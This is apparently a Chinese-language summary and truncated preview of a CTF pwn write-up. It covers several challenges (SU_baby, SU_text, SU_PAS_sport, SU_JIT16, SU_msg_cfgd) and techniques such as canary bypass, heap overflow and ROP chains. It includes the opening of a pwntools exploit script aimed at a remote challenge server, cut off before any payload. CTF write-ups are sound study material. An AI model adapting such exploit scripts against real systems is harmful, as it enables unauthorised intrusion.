主要观点总结
文章分析了多个CTF挑战中的题目,包括SU_baby、SU_text、SU_PAS_sport、SU_JIT16、SU_msg_cfgd等,并提供了对应的解决方案和代码。每个挑战涉及不同的攻击策略,如绕过canary、劫持返回地址、利用堆溢出、构造ROP链等。
关键观点总结
关键观点1: SU_baby 挑战分析
绕过canary,劫持返回地址到攻击代码位置,利用漏洞进行攻击。
关键观点2: SU_text 挑战分析
分析堆溢出问题,利用heap++指针,通过调用顺序和地址偏移进行攻击。
关键观点3: SU_PAS_sport 挑战分析
分析堆溢出和任意写的问题,利用功能4-2的输入修改文件描述符,再执行堆溢出覆盖指针。
关键观点4: SU_JIT16 挑战分析
通过patch和直接爆破的方式,利用GSP(指令)构造ROP链进行攻击。
关键观点5: SU_msg_cfgd 挑战分析
分析了该题目的菜单结构,讨论了如何利用C++的漏洞进行攻击。
文章预览
1 SU_baby 队友分析出来可以绕过 canary, 劫持返回地址到 attack。 exploit # imLZH1 from pwn import * #from ctypes import CDLL #cdl = CDLL('/lib/x86_64-linux-gnu/libc.so.6') s = lambda x : io.send(x) sa = lambda x,y : io.sendafter(x,y) sl = lambda x : io.sendline(x) sla = lambda x,y : io.sendlineafter(x,y) r = lambda x : io.recv(x) ru = lambda x : io.recvuntil(x) rl = lambda : io.recvline() itr = lambda : io.interactive() uu32 = lambda x : u32(x.ljust( 4 , b'\x00' )) uu64 = lambda x : u64(x.ljust( 8 , b'\x00' )) ls = lambda x : log.success(x) lss = lambda x : ls( '\033[1;31;40m%s -> 0x%x \033[0m' % (x, eval (x))) attack = '1.95.76.73:10000' binary = './ASU1' def start ( argv=[], *a, **kw ): if args.GDB: return gdb.debug(binary,gdbscript) if args.TAG: return remote(*args.TAG.split( ':' )) if args.REM: return remote(*attack.split( ':' )) return process([binary] + a
………………………………